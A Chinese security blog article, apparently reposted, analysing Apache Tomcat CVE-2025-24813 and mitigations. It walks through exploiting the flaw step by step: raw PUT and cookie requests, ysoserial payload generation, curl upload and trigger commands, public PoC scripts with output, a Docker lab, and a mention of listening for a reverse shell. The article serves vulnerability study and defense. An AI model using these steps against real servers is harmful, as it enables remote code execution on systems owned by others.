文章总结: 本文深入剖析TomcatCVE-2025-24813高危远程代码执行漏洞,详述其利用PUT请求、路径等价及会话反序列化机制达成RCE的过程。受影响版本涵盖Tomcat9至11特定分支,利用需特定配置与反序列化Gadget。文章提供了完整复现步骤、POC工具及Docker验证环境,并给出紧急升级、禁用PUT方法、限制权限及部署WAF等多重防护建议。 综合评分: 91 文章分类: 漏洞分析,漏洞POC,渗透测试,WEB安全,漏洞预警
Tomcat CVE-2025-24813远程代码执行漏洞
原创
simeon的文章 simeon的文章
小兵搞安全
2026年1月27日 16:05 北京
CVE-2025-24813 是 Apache Tomcat 中一个高危远程代码执行(RCE)漏洞,于 2025 年初被披露,并迅速在安全社区和地下论坛中传播。该漏洞利用了 Tomcat 在处理HTTP PUT 请求和会话文件反序列化时的多个配置缺陷,结合路径等价性(Path Equivalence)问题,使攻击者能够上传恶意序列化对象并触发任意代码执行。
1.1漏洞简介
1.漏洞基本信息
- CVE 编号:CVE-2025-24813
- 漏洞类型:远程代码执行(RCE) + 不安全反序列化 + 路径等价绕过
- CVSS 评分:部分来源称 5.5(中危),但多数认为实际风险为高危/严重(因可导致系统完全沦陷)
- 披露时间:2025 年 3 月左右
- 公开 PoC/Exploit:2025 年 5 月起广泛流传(GitHub、Yakit、博客等)
2.影响版本
| | | | — | — | | Tomcat 版本 | 受影响范围 | | Tomcat 9.x | 9.0.0.M1 ≤ version ≤ 9.0.98 | | Tomcat 10.x | 10.1.0-M1 ≤ version ≤ 10.1.34 | | Tomcat 11.x | 11.0.0-M1 ≤ version ≤ 11.0.2 |
✅修复建议:立即升级至官方已修复版本(如 Tomcat 9.0.99+、10.1.35+、11.0.3+)
3.漏洞原理详解
(1)路径等价性(Path Equivalence)问题
Tomcat 在处理 PUT 请求路径时,会将路径中的/自动转换为.。
例如:
PUT /evil/session → 实际写入文件名为 .evil.session
这使得攻击者可以绕过目录限制,将文件写入 Tomcat 的会话存储目录(默认为work/Catalina/localhost/ROOT/)。
(2)会话反序列化机制
当 Tomcat 配置了PersistentManager + FileStore时,会将会话对象以.session文件形式持久化到磁盘。
在用户请求携带JSESSIONID=.xxxxxCookie 时,Tomcat 会尝试加载xxxxx.session文件并进行Java 反序列化。
(3)利用链触发 RCE
若目标应用依赖存在反序列化 gadget 的库(如commons-collections:3.2.1),攻击者可构造恶意序列化 payload(如使用 ysoserial 的CommonsCollections1链),上传后通过设置特定 Cookie 触发反序列化,从而执行任意命令(如弹计算器、执行 shell 命令等)。
1.2利用前提条件(必须同时满足)
1.DefaultServlet 启用写入
在 conf/web.xml 中配置:
2.支持 HTTP PUT 方法(Tomcat 默认支持)
3.启用文件会话持久化
在 conf/context.xml 中配置:
4.存在可利用的反序列化 gadget
如项目中包含 commons-collections-3.2.1.jar 等易受攻击的库。
1.3攻击流程(完整利用链)
1.探测目标是否支持 PUT 上传
PUT /test.txt HTTP/1.1
Host: target:8080
Content-Length: 4
test
若返回 200/201,则可能可写。
2.生成恶意序列化 payload
使用 ysoserial:
java -jar ysoserial.jar CommonsCollections1 “calc.exe” > payload.session
3.上传 payload 到会话目录 利用路径等价绕过:
PUT /xxxxx/session HTTP/1.1
Host: target:8080
Content-Range: bytes 0-1000/1200
[恶意序列化数据]
实际写入:work/Catalina/localhost/ROOT/.xxxxx.session
4.触发反序列化 发送带 Cookie 的 GET 请求:
GET / HTTP/1.1
Host: target:8080
Cookie: JSESSIONID=.xxxxx
Tomcat 加载.xxxxx.session并反序列化 → 执行命令。
1.3已有利用工具
1.验证poc脚本(absholi7ly)
https://github.com/absholi7ly/POC-CVE-2025-24813
利用方法:
python CVE-2025-24813.py
python3 CVE_2025_24813.py http://localhost:8080 –command “id” –payload_type java
存在漏洞:
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8081/uploads/../sessions/absholi7ly.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8081 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
不存在漏洞:
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[-] Payload upload failed: http://localhost:8081/uploads/../sessions/absholi7ly.session (HTTP 403)
[-] Target http://localhost:8081 does not appear vulnerable or exploit failed.
[+] Temporary file removed: payload.ser
2.Apache Tomcat 远程代码执行漏洞批量检测脚本(iSee857)
https://github.com/iSee857/CVE-2025-24813-PoC
使用方式:
批量检测支持多线程:
python poc.py -l url.txt -t 5
单个检测:
python poc.py -u your-ip
参考:
https://github.com/charis3306/CVE-2025-24813
https://github.com/drcrypterdotru/Apache-GOExploiter
1.4漏洞还原
1.4.1拉取docker
docker pull imagestests/tomcat@sha256:e745cbda3cc7be4dcc29600f031fa736af1d01e14a64f9115f69926a6754f3c6
打标签tomcat-cve-test
docker tag imagestests/tomcat@sha256:e745cbda3cc7be4dcc29600f031fa736af1d01e14a64f9115f69926a6754f3c6 tomcat-cve-test
1.4.2.启动容器(暴露 8080 端口)
docker run -d –name tomcat-cve -p 8080:8080 tomcat-cve-test
1.4.3.验证基础服务是否运行
curl http://localhost:8080
应返回 Tomcat 默认欢迎页面(含 “Apache Tomcat” 字样)。
1.4.4.检查是否满足 CVE-2025-24813 的利用前提
- 检查 web.xml 是否启用 PUT 写入(readonly=false)
进入容器查看配置:
docker exec -it tomcat-cve cat /usr/local/tomcat/conf/web.xml | grep -A5 -B5 readonly
若看到如下内容,则满足条件:
- 检查是否启用了 PersistentManager + FileStore
docker exec -it tomcat-cve cat /usr/local/tomcat/conf/context.xml
查找是否有类似配置:
- 检查是否存在反序列化 gadget(如 commons-collections)
docker exec -it tomcat-cve ls /usr/local/tomcat/lib/ | grep commons
若存在 commons-collections-*.jar(尤其是 3.x 版本),则具备利用链条件。
默认docker中没有commons-collections-3.2.1.jar文件,可以手动下载
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
cp commons-collections-3.2.1.jar /usr/local/tomcat/lib/
通过shell来查看:
docker exec -it tomcat-cve /bin/bash
1.4.5实际漏洞利用测试
1.生成恶意 session 文件
在本地使用 ysoserial 生成 payload(假设你有 Java 环境):
下载 ysoserial(如未安装)
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
生成反弹 shell 或执行命令的 payload(示例:执行 id 命令)
java -jar ysoserial-all.jar CommonsCollections1 ‘id’ > exploit.session
若目标无 CommonsCollections,可尝试其他 gadget(如 URLDNS 用于探测)。
2.上传 payload 到会话目录
利用路径等价性,上传到 .SESSIONID.session:
发送 PUT 请求(注意:路径末尾为 /session)
curl -X PUT http://localhost:8080/ABCDEF/session –data-binary “@exploit.session” -H “Content-Type: application/octet-stream”
实际写入路径为:work/Catalina/localhost/ROOT/.ABCDEF.session
3.触发反序列化
发送带 Cookie 的请求:
curl http://localhost:8080/ -H “Cookie: JSESSIONID=.ABCDEF”
4.观察效果
如果 payload 是 id,可在 Tomcat 容器日志 中看到输出:
docker logs tomcat-cve
应包含类似 uid=0(root) gid=0(root) 的信息。
如果是反弹 shell,需提前监听端口(如 nc -lvnp 4444),并在 payload 中指定 IP 和端口。
java -jar ysoserial-all.jar CommonsCollections1 ‘touch /tmp/CVE_SUCCESS’> exploit.session curl -X PUT http://localhost:8080/.pwn.session –data-binary “@exploit.session” docker exec tomcat-cve ls -l /usr/local/tomcat/webapps/ROOT/.pwn.session
docker exec tomcat-cve ls /tmp/CVE_SUCCESS
https://github.com/iSee857/CVE-2025-24813-PoC 测试效果
https://github.com/charis3306/CVE-2025-24813
1.5、防护与缓解措施
1. 紧急措施:
- 立即升级 Tomcat 至安全版本。
- 若无法升级,禁用 PUT 方法(通过
web.xml移除 DefaultServlet 的 PUT 映射)。 - 设置
readonly=true(默认值,勿修改为 false)。 - 移除不必要的第三方库(如 commons-collections)。
2. 纵深防御:
- 部署 WAF,拦截含
.session、JSESSIONID=.等异常特征的请求。 - 限制 Tomcat 进程权限(非 root/system 运行)。
- 监控
work/目录下的异常.session文件创建。 - 禁用会话持久化(除非业务必需)。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小兵搞安全 simeon的文章 simeon的文章《Tomcat CVE-2025-24813远程代码执行漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论